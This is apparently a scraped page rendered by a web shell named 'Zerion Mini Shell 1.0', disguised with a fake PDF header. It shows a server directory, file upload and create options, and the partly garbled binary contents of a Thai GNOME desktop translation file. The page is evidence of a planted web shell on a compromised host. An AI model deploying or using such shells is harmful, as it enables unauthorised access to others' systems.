%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/current/usr/share/locale/th/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/current/usr/share/locale/th/LC_MESSAGES/gnome-desktop-3.0.mo

���%�014:@IVfy�����$�DHbn%�F���*�i��X���
':P\ktl�;��)O�	Z	mu	��	��
]J��
	
%R%R:%S%a %R%a %R:%S%a %b %e, %R%a %b %e, %R:%S%a %b %e, %l:%M %p%a %b %e, %l:%M:%S %p%a %l:%M %p%a %l:%M:%S %p%l:%M %p%l:%M:%S %pCRTC %d cannot drive output %sCRTC %d does not support rotation=%dCRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
Trying modes for CRTC %d
Unspecifiedcannot clone to output %scould not assign CRTCs to outputs:
%snone of the selected modes were compatible with the possible modes:
%soutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %d, new rotation = %doutput %s does not support mode %dx%d@%dHzrequired virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)Project-Id-Version: gnome-desktop
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-desktop&keywords=I18N+L10N&component=general
PO-Revision-Date: 2013-10-14 21:45+0700
Last-Translator: Akom Chotiphantawanon <knight2000@gmail.com>
Language-Team: Thai <thai-l10n@googlegroups.com>
Language: th
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
%R%R:%S%a %R%a %R:%S%a %d %b, %R%a %d %b, %R:%S%a %d %b, %l:%M %p%a %d %b, %l:%M:%S %p%a %l:%M %p%a %l:%M:%S %p%l:%M %p%l:%M:%S %pCRTC %d ไม่สามารถสั่งการอุปกรณ์แสดงผล %s ได้CTRC %d ไม่รองรับมุมหมุน=%dCRTC %d: กำลังลองใช้โหมด %dx%d@%dHz โดยแสดงผลที่ %dx%d@%dHz (รอบที่ %d)
กำลังลองโหมดต่างๆ สำหรับ CRTC %d
ไม่ระบุไม่สามารถผลิตซ้ำอุปกรณ์แสดงผล %sไม่สามารถกำหนด CRTC ให้กับอุปกรณ์แสดงผล:
%sโหมดที่เลือกไว้นั้น ไม่มีโหมดใดเข้ากันได้กับโหมดที่เป็นไปได้:
%sอุปกรณ์แสดงผล %s มีพารามิเตอร์ไม่ตรงกับอุปกรณ์แสดงผลอีกอันที่ผลิตซ้ำออกไป:
โหมดเดิม = %d, โหมดใหม่ = %d
พิกัดเดิม = (%d, %d), พิกัดใหม่ = (%d, %d)
มุมหมุนเดิม = %d, มุมหมุนใหม่ = %dอุปกรณ์แสดงผล %s ไม่รองรับโหมด %dx%d@%dHzขนาดเสมือนที่ต้องการไม่เข้ากับขนาดที่มี: ที่ร้องขอ=(%d, %d), ค่าต่ำสุด=(%d, %d), ค่าสูงสุด=(%d, %d)

Zerion Mini Shell 1.0